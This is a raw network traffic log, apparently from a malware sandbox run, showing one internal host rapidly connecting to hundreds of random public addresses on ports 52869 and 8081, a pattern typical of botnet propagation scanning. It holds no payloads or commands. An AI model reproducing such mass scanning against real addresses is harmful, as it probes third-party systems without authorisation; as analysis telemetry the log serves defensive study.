Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	204.98.215.21
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	43.185.230.14
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	1.119.134.213
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	50.131.46.205
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	12.21.123.238
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	165.166.7.65
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	181.224.93.180
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	112.190.129.232
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	124.201.145.76
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	185.97.171.80
Jul 20, 2024 23:00:59.670372009 CEST	50566	52869	192.168.2.13	45.193.225.45
Jul 20, 2024 23:00:59.670625925 CEST	52869	50566	170.179.22.174	192.168.2.13
Jul 20, 2024 23:00:59.670986891 CEST	52869	50566	104.230.5.149	192.168.2.13
Jul 20, 2024 23:00:59.671508074 CEST	52869	50566	218.172.50.144	192.168.2.13
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	104.144.145.170
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	189.245.89.2
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	35.101.83.172
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	59.135.82.76
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	17.101.154.221
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	14.176.18.167
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	112.133.137.207
Jul 20, 2024 23:00:59.671539068 CEST	50566	52869	192.168.2.13	151.13.68.174
Jul 20, 2024 23:00:59.672322989 CEST	52869	50566	193.33.237.176	192.168.2.13
Jul 20, 2024 23:00:59.672377110 CEST	52869	50566	52.97.70.51	192.168.2.13
Jul 20, 2024 23:00:59.672852993 CEST	52869	50566	98.190.18.177	192.168.2.13
Jul 20, 2024 23:00:59.672931910 CEST	52869	50566	75.157.249.115	192.168.2.13
Jul 20, 2024 23:00:59.673197985 CEST	50566	52869	192.168.2.13	187.9.135.48
Jul 20, 2024 23:00:59.673197985 CEST	50566	52869	192.168.2.13	146.202.87.248
Jul 20, 2024 23:00:59.673197985 CEST	50566	52869	192.168.2.13	156.255.79.227
Jul 20, 2024 23:00:59.673197985 CEST	50566	52869	192.168.2.13	97.128.130.183
Jul 20, 2024 23:00:59.673197985 CEST	50565	8081	192.168.2.13	89.133.10.64
Jul 20, 2024 23:00:59.673197985 CEST	50565	8081	192.168.2.13	57.191.201.46
Jul 20, 2024 23:00:59.673197985 CEST	50565	8081	192.168.2.13	155.185.153.219
Jul 20, 2024 23:00:59.673197985 CEST	50565	8081	192.168.2.13	208.253.226.3
Jul 20, 2024 23:00:59.673834085 CEST	52869	50566	79.65.48.214	192.168.2.13
Jul 20, 2024 23:00:59.673886061 CEST	52869	50566	193.76.38.145	192.168.2.13
Jul 20, 2024 23:00:59.673918962 CEST	52869	50566	149.120.217.63	192.168.2.13
Jul 20, 2024 23:00:59.673949003 CEST	52869	50566	5.72.12.46	192.168.2.13
Jul 20, 2024 23:00:59.673979044 CEST	52869	50566	173.147.51.213	192.168.2.13
Jul 20, 2024 23:00:59.674006939 CEST	50566	52869	192.168.2.13	93.186.215.85
Jul 20, 2024 23:00:59.674006939 CEST	50566	52869	192.168.2.13	93.89.228.144
Jul 20, 2024 23:00:59.674006939 CEST	50566	52869	192.168.2.13	160.13.140.39
Jul 20, 2024 23:00:59.674006939 CEST	50566	52869	192.168.2.13	25.33.101.203
Jul 20, 2024 23:00:59.674007893 CEST	50566	52869	192.168.2.13	83.123.156.156
Jul 20, 2024 23:00:59.674007893 CEST	50566	52869	192.168.2.13	166.230.186.42
Jul 20, 2024 23:00:59.674007893 CEST	50566	52869	192.168.2.13	158.231.248.95
Jul 20, 2024 23:00:59.674007893 CEST	50566	52869	192.168.2.13	78.77.211.57
Jul 20, 2024 23:00:59.674127102 CEST	52869	50566	105.43.143.24	192.168.2.13
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	166.208.150.45
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	146.195.15.75
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	171.134.156.176
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	189.36.89.148
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	2.96.182.150
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	48.116.54.57
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	24.92.154.194
Jul 20, 2024 23:00:59.675271988 CEST	50566	52869	192.168.2.13	14.199.203.228
Jul 20, 2024 23:00:59.675985098 CEST	52869	50566	123.201.244.76	192.168.2.13
Jul 20, 2024 23:00:59.676048040 CEST	52869	50566	148.29.162.78	192.168.2.13
Jul 20, 2024 23:00:59.676076889 CEST	52869	50566	19.116.209.244	192.168.2.13
Jul 20, 2024 23:00:59.676080942 CEST	50566	52869	192.168.2.13	40.220.172.176
Jul 20, 2024 23:00:59.676080942 CEST	50566	52869	192.168.2.13	111.195.169.143
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	138.116.64.175
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	31.170.161.105
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	23.101.143.247
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	102.178.73.69
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	152.69.62.170
Jul 20, 2024 23:00:59.676081896 CEST	50566	52869	192.168.2.13	151.29.46.47
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	71.75.101.231
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	53.181.114.20
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	193.221.142.249
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	212.182.154.238
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	199.179.76.18
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	103.40.93.239
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	138.60.37.197
Jul 20, 2024 23:00:59.676309109 CEST	50566	52869	192.168.2.13	13.201.178.215
Jul 20, 2024 23:00:59.676834106 CEST	52869	50566	68.212.146.166	192.168.2.13
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	98.153.27.97
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	119.230.97.161
Jul 20, 2024 23:00:59.676868916 CEST	39488	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	193.187.192.75
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	1.6.86.123
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	1.119.11.116
Jul 20, 2024 23:00:59.676868916 CEST	50566	52869	192.168.2.13	173.67.154.250
Jul 20, 2024 23:00:59.676906109 CEST	52869	50566	150.21.231.233	192.168.2.13
Jul 20, 2024 23:00:59.677556992 CEST	52869	50566	92.215.148.74	192.168.2.13
Jul 20, 2024 23:00:59.678293943 CEST	52869	50566	186.236.40.217	192.168.2.13
Jul 20, 2024 23:00:59.678308964 CEST	52869	50566	143.163.233.126	192.168.2.13
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	143.32.214.53
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	36.52.193.19
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	80.177.251.186
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	125.116.207.58
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	102.231.201.51
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	187.201.16.4
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	126.63.100.120
Jul 20, 2024 23:00:59.678317070 CEST	50566	52869	192.168.2.13	101.212.58.87
Jul 20, 2024 23:00:59.678320885 CEST	52869	50566	98.215.67.213	192.168.2.13
Jul 20, 2024 23:00:59.678495884 CEST	52869	50566	96.225.183.193	192.168.2.13
Jul 20, 2024 23:00:59.678508997 CEST	52869	50566	178.216.95.105	192.168.2.13
Jul 20, 2024 23:00:59.678853035 CEST	52869	50566	82.130.65.202	192.168.2.13
Jul 20, 2024 23:00:59.678864956 CEST	52869	50566	104.144.145.170	192.168.2.13
Jul 20, 2024 23:00:59.678911924 CEST	50566	52869	192.168.2.13	206.73.167.230
Jul 20, 2024 23:00:59.678911924 CEST	50566	52869	192.168.2.13	31.201.179.173
Jul 20, 2024 23:00:59.678911924 CEST	50565	8081	192.168.2.13	220.183.16.168
Jul 20, 2024 23:00:59.678911924 CEST	50565	8081	192.168.2.13	208.225.66.110
Jul 20, 2024 23:00:59.678911924 CEST	50565	8081	192.168.2.13	27.70.37.190
Jul 20, 2024 23:00:59.678911924 CEST	50565	8081	192.168.2.13	123.250.254.38
Jul 20, 2024 23:00:59.678911924 CEST	50565	8081	192.168.2.13	39.85.59.201
Jul 20, 2024 23:00:59.678927898 CEST	52869	50566	204.98.215.21	192.168.2.13
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	92.48.245.178
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	36.205.3.0
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	180.97.110.231
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	112.42.230.25
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	49.215.5.182
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	210.14.15.175
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	51.106.58.76
Jul 20, 2024 23:00:59.679202080 CEST	50565	8081	192.168.2.13	219.22.43.203
Jul 20, 2024 23:00:59.679563999 CEST	52869	50566	189.245.89.2	192.168.2.13
Jul 20, 2024 23:00:59.680397987 CEST	50566	52869	192.168.2.13	61.47.111.141
Jul 20, 2024 23:00:59.680397987 CEST	50566	52869	192.168.2.13	184.9.71.201
Jul 20, 2024 23:00:59.680397987 CEST	50566	52869	192.168.2.13	203.206.63.20
Jul 20, 2024 23:00:59.680397987 CEST	50565	8081	192.168.2.13	75.133.26.28
Jul 20, 2024 23:00:59.680397987 CEST	50565	8081	192.168.2.13	115.235.85.145
Jul 20, 2024 23:00:59.680397987 CEST	50565	8081	192.168.2.13	133.159.93.140
Jul 20, 2024 23:00:59.680397987 CEST	50565	8081	192.168.2.13	208.137.192.41
Jul 20, 2024 23:00:59.680397987 CEST	50565	8081	192.168.2.13	122.13.88.118
Jul 20, 2024 23:00:59.680512905 CEST	50566	52869	192.168.2.13	45.151.62.243
Jul 20, 2024 23:00:59.680512905 CEST	50566	52869	192.168.2.13	109.178.131.85
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	18.172.188.201
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	83.197.31.81
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	5.163.140.124
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	128.23.18.94
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	183.92.237.146
Jul 20, 2024 23:00:59.680514097 CEST	50566	52869	192.168.2.13	123.162.89.224
Jul 20, 2024 23:00:59.681701899 CEST	52869	50566	43.185.230.14	192.168.2.13
Jul 20, 2024 23:00:59.681864977 CEST	52869	50566	1.119.134.213	192.168.2.13
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	84.26.114.133
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	23.67.235.212
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	17.37.207.219
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	192.125.35.34
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	199.121.94.39
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	165.221.152.111
Jul 20, 2024 23:00:59.682205915 CEST	50566	52869	192.168.2.13	103.55.51.24
Jul 20, 2024 23:00:59.682207108 CEST	50566	52869	192.168.2.13	170.44.141.131
Jul 20, 2024 23:00:59.682549000 CEST	8081	50565	89.133.10.64	192.168.2.13
Jul 20, 2024 23:00:59.682600975 CEST	8081	50565	57.191.201.46	192.168.2.13
Jul 20, 2024 23:00:59.683582067 CEST	8081	50565	155.185.153.219	192.168.2.13
Jul 20, 2024 23:00:59.683892965 CEST	50565	8081	192.168.2.13	79.5.161.113
Jul 20, 2024 23:00:59.683892965 CEST	50565	8081	192.168.2.13	148.67.52.18
Jul 20, 2024 23:00:59.683892965 CEST	50565	8081	192.168.2.13	218.245.114.147
Jul 20, 2024 23:00:59.683892965 CEST	50565	8081	192.168.2.13	44.230.3.17
Jul 20, 2024 23:00:59.683893919 CEST	50565	8081	192.168.2.13	76.124.16.9
Jul 20, 2024 23:00:59.683893919 CEST	50565	8081	192.168.2.13	99.216.202.157
Jul 20, 2024 23:00:59.683893919 CEST	50565	8081	192.168.2.13	25.66.102.223
Jul 20, 2024 23:00:59.684549093 CEST	8081	50565	208.253.226.3	192.168.2.13
Jul 20, 2024 23:00:59.685986996 CEST	8081	50565	92.48.245.178	192.168.2.13
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	89.250.233.208
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	223.183.168.114
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	212.123.218.107
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	135.6.141.10
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	93.63.224.186
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	8.223.250.112
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	97.40.157.127
Jul 20, 2024 23:00:59.686089039 CEST	50566	52869	192.168.2.13	37.194.198.143
Jul 20, 2024 23:00:59.686310053 CEST	8081	50565	36.205.3.0	192.168.2.13
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	23.143.183.180
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	23.179.172.154
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	207.222.192.222
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	85.83.186.173
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	43.22.181.167
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	179.115.72.188
Jul 20, 2024 23:00:59.686366081 CEST	50566	52869	192.168.2.13	137.37.120.169
Jul 20, 2024 23:00:59.687120914 CEST	8081	50565	180.97.110.231	192.168.2.13
Jul 20, 2024 23:00:59.687216043 CEST	8081	50565	112.42.230.25	192.168.2.13
Jul 20, 2024 23:00:59.687378883 CEST	8081	50565	220.183.16.168	192.168.2.13
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	93.9.164.62
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	204.113.232.96
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	119.250.210.176
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	190.230.8.44
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	97.133.54.66
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	76.128.213.176
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	79.155.14.64
Jul 20, 2024 23:00:59.687479019 CEST	50565	8081	192.168.2.13	174.8.73.34
Jul 20, 2024 23:00:59.687536001 CEST	8081	50565	208.225.66.110	192.168.2.13
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	64.37.14.125
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	136.119.100.227
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	95.99.81.46
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	19.51.47.12
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	136.9.242.208
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	90.132.149.111
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	75.73.214.62
Jul 20, 2024 23:00:59.687553883 CEST	50565	8081	192.168.2.13	74.175.215.222
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	82.59.196.59
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	198.178.175.109
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	222.139.57.235
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	163.240.92.21
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	179.131.95.152
Jul 20, 2024 23:00:59.687658072 CEST	50566	52869	192.168.2.13	185.216.195.94
Jul 20, 2024 23:00:59.687659025 CEST	50566	52869	192.168.2.13	205.135.58.130
Jul 20, 2024 23:00:59.687659025 CEST	50566	52869	192.168.2.13	8.181.191.184
Jul 20, 2024 23:00:59.687691927 CEST	8081	50565	27.70.37.190	192.168.2.13
Jul 20, 2024 23:00:59.687721014 CEST	8081	50565	49.215.5.182	192.168.2.13
Jul 20, 2024 23:00:59.687802076 CEST	8081	50565	123.250.254.38	192.168.2.13
Jul 20, 2024 23:00:59.688412905 CEST	52869	50566	35.101.83.172	192.168.2.13
Jul 20, 2024 23:00:59.688525915 CEST	52869	50566	98.153.27.97	192.168.2.13
Jul 20, 2024 23:00:59.689093113 CEST	50565	8081	192.168.2.13	220.183.16.168
Jul 20, 2024 23:00:59.689093113 CEST	50565	8081	192.168.2.13	208.225.66.110
Jul 20, 2024 23:00:59.689093113 CEST	50565	8081	192.168.2.13	27.70.37.190
Jul 20, 2024 23:00:59.689093113 CEST	50565	8081	192.168.2.13	123.250.254.38
Jul 20, 2024 23:00:59.689112902 CEST	8081	50565	75.133.26.28	192.168.2.13
Jul 20, 2024 23:00:59.689165115 CEST	8081	50565	210.14.15.175	192.168.2.13
Jul 20, 2024 23:00:59.689376116 CEST	8081	50565	39.85.59.201	192.168.2.13
Jul 20, 2024 23:00:59.689723015 CEST	52869	50566	59.135.82.76	192.168.2.13
Jul 20, 2024 23:00:59.690051079 CEST	52869	50566	119.230.97.161	192.168.2.13
Jul 20, 2024 23:00:59.690090895 CEST	8081	50565	79.5.161.113	192.168.2.13
Jul 20, 2024 23:00:59.690108061 CEST	8081	50565	51.106.58.76	192.168.2.13
Jul 20, 2024 23:00:59.690689087 CEST	8081	50565	148.67.52.18	192.168.2.13
Jul 20, 2024 23:00:59.690715075 CEST	8081	50565	115.235.85.145	192.168.2.13
Jul 20, 2024 23:00:59.690727949 CEST	52869	50566	17.101.154.221	192.168.2.13
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	44.198.66.217
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	39.37.190.40
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	150.125.112.214
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	188.242.195.213
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	122.250.208.66
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	193.249.224.19
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	152.198.91.128
Jul 20, 2024 23:00:59.690741062 CEST	50566	52869	192.168.2.13	64.147.0.133
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	59.197.234.216
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	110.181.129.198
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	89.133.10.64
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	57.191.201.46
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	155.185.153.219
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	208.253.226.3
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	92.48.245.178
Jul 20, 2024 23:00:59.691390038 CEST	50565	8081	192.168.2.13	36.205.3.0
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	162.24.121.92
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	207.96.143.249
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	140.118.140.221
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	51.225.242.182
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	48.28.150.134
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	105.157.155.60
Jul 20, 2024 23:00:59.691903114 CEST	50566	52869	192.168.2.13	137.234.191.18
Jul 20, 2024 23:00:59.692497969 CEST	50565	8081	192.168.2.13	82.237.144.131
Jul 20, 2024 23:00:59.692497969 CEST	50565	8081	192.168.2.13	207.215.64.146
Jul 20, 2024 23:00:59.692497969 CEST	50565	8081	192.168.2.13	197.116.23.158
Jul 20, 2024 23:00:59.692498922 CEST	50565	8081	192.168.2.13	38.92.111.9
Jul 20, 2024 23:00:59.692498922 CEST	50565	8081	192.168.2.13	44.35.13.144
Jul 20, 2024 23:00:59.692498922 CEST	50565	8081	192.168.2.13	66.202.228.53
Jul 20, 2024 23:00:59.692498922 CEST	50565	8081	192.168.2.13	99.244.107.131
Jul 20, 2024 23:00:59.692498922 CEST	50565	8081	192.168.2.13	13.18.108.245
Jul 20, 2024 23:00:59.692817926 CEST	52869	50566	14.176.18.167	192.168.2.13
Jul 20, 2024 23:00:59.692862988 CEST	8081	50565	218.245.114.147	192.168.2.13
Jul 20, 2024 23:00:59.692899942 CEST	8081	50565	133.159.93.140	192.168.2.13
Jul 20, 2024 23:00:59.692933083 CEST	8081	50565	208.137.192.41	192.168.2.13
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	217.166.148.24
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	150.5.224.87
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	144.37.33.124
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	223.100.213.77
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	57.239.108.104
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	90.25.120.96
Jul 20, 2024 23:00:59.693224907 CEST	47080	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.693224907 CEST	50566	52869	192.168.2.13	98.130.58.32
Jul 20, 2024 23:00:59.693365097 CEST	8081	50565	122.13.88.118	192.168.2.13
Jul 20, 2024 23:00:59.693407059 CEST	8081	50565	219.22.43.203	192.168.2.13
Jul 20, 2024 23:00:59.693437099 CEST	8081	50565	93.9.164.62	192.168.2.13
Jul 20, 2024 23:00:59.693471909 CEST	8081	50565	44.230.3.17	192.168.2.13
Jul 20, 2024 23:00:59.693502903 CEST	8081	50565	204.113.232.96	192.168.2.13
Jul 20, 2024 23:00:59.693572044 CEST	8081	50565	64.37.14.125	192.168.2.13
Jul 20, 2024 23:00:59.693579912 CEST	50566	52869	192.168.2.13	75.112.49.181
Jul 20, 2024 23:00:59.693579912 CEST	50566	52869	192.168.2.13	131.89.238.210
Jul 20, 2024 23:00:59.693579912 CEST	50566	52869	192.168.2.13	179.255.234.207
Jul 20, 2024 23:00:59.693579912 CEST	50566	52869	192.168.2.13	111.221.99.174
Jul 20, 2024 23:00:59.693581104 CEST	50566	52869	192.168.2.13	46.175.180.59
Jul 20, 2024 23:00:59.693581104 CEST	50566	52869	192.168.2.13	66.209.243.32
Jul 20, 2024 23:00:59.693581104 CEST	50566	52869	192.168.2.13	44.187.174.63
Jul 20, 2024 23:00:59.693581104 CEST	50566	52869	192.168.2.13	183.148.214.191
Jul 20, 2024 23:00:59.693603992 CEST	8081	50565	76.124.16.9	192.168.2.13
Jul 20, 2024 23:00:59.693634033 CEST	8081	50565	136.119.100.227	192.168.2.13
Jul 20, 2024 23:00:59.694040060 CEST	8081	50565	95.99.81.46	192.168.2.13
Jul 20, 2024 23:00:59.694211960 CEST	8081	50565	99.216.202.157	192.168.2.13
Jul 20, 2024 23:00:59.694242001 CEST	8081	50565	25.66.102.223	192.168.2.13
Jul 20, 2024 23:00:59.694669962 CEST	8081	50565	119.250.210.176	192.168.2.13
Jul 20, 2024 23:00:59.694847107 CEST	8081	50565	19.51.47.12	192.168.2.13
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	62.85.199.233
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	122.177.246.239
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	57.216.107.223
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	102.135.192.37
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	195.35.12.96
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	188.236.3.108
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	46.235.126.216
Jul 20, 2024 23:00:59.695641041 CEST	50566	52869	192.168.2.13	219.34.57.118
Jul 20, 2024 23:00:59.696096897 CEST	8081	50565	190.230.8.44	192.168.2.13
Jul 20, 2024 23:00:59.696407080 CEST	52869	50566	112.133.137.207	192.168.2.13
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	39.85.59.201
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	79.5.161.113
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	148.67.52.18
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	218.245.114.147
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	44.230.3.17
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	76.124.16.9
Jul 20, 2024 23:00:59.696466923 CEST	50565	8081	192.168.2.13	99.216.202.157
Jul 20, 2024 23:00:59.696608067 CEST	8081	50565	136.9.242.208	192.168.2.13
Jul 20, 2024 23:00:59.696643114 CEST	8081	50565	90.132.149.111	192.168.2.13
Jul 20, 2024 23:00:59.697155952 CEST	8081	50565	75.73.214.62	192.168.2.13
Jul 20, 2024 23:00:59.697267056 CEST	50565	8081	192.168.2.13	180.97.110.231
Jul 20, 2024 23:00:59.697267056 CEST	50565	8081	192.168.2.13	112.42.230.25
Jul 20, 2024 23:00:59.697267056 CEST	50565	8081	192.168.2.13	49.215.5.182
Jul 20, 2024 23:00:59.697267056 CEST	50565	8081	192.168.2.13	210.14.15.175
Jul 20, 2024 23:00:59.697267056 CEST	50565	8081	192.168.2.13	51.106.58.76
Jul 20, 2024 23:00:59.697268009 CEST	50565	8081	192.168.2.13	219.22.43.203
Jul 20, 2024 23:00:59.697268009 CEST	50565	8081	192.168.2.13	64.37.14.125
Jul 20, 2024 23:00:59.697268009 CEST	50565	8081	192.168.2.13	136.119.100.227
Jul 20, 2024 23:00:59.697685003 CEST	50566	52869	192.168.2.13	161.19.3.120
Jul 20, 2024 23:00:59.697685003 CEST	50566	52869	192.168.2.13	179.125.187.243
Jul 20, 2024 23:00:59.697685003 CEST	50566	52869	192.168.2.13	150.246.179.157
Jul 20, 2024 23:00:59.697685957 CEST	50566	52869	192.168.2.13	99.109.33.188
Jul 20, 2024 23:00:59.697685957 CEST	50566	52869	192.168.2.13	165.200.19.252
Jul 20, 2024 23:00:59.697685957 CEST	50566	52869	192.168.2.13	60.242.156.188
Jul 20, 2024 23:00:59.697685957 CEST	50566	52869	192.168.2.13	156.219.181.226
Jul 20, 2024 23:00:59.697685957 CEST	50566	52869	192.168.2.13	80.162.93.170
Jul 20, 2024 23:00:59.698007107 CEST	8081	50565	97.133.54.66	192.168.2.13
Jul 20, 2024 23:00:59.698065996 CEST	8081	50565	74.175.215.222	192.168.2.13
Jul 20, 2024 23:00:59.698303938 CEST	8081	50565	59.197.234.216	192.168.2.13
Jul 20, 2024 23:00:59.698378086 CEST	8081	50565	76.128.213.176	192.168.2.13
Jul 20, 2024 23:00:59.698973894 CEST	8081	50565	110.181.129.198	192.168.2.13
Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	57.172.25.79
Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	219.251.51.54
Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	148.251.11.4
